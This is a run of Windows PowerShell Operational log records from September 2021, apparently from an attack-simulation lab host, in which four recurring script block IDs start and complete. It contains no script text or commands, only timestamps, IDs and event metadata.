LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023291
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023290
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023289
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023288
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023287
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023286
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023285
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023303
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023302
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023301
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023300
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023299
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023297
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023296
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023295
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023314
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023313
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023311
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023309
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023308
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023307
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023306
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023305
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023324
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023323
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023322
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023321
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023320
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023319
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023317
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023316
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023315
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023334
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023333
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023332
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023331
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023330
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023329
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023328
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023327
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023326
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023325
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023344
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023343
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023341
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023340
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:55:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023339
Keywords=None
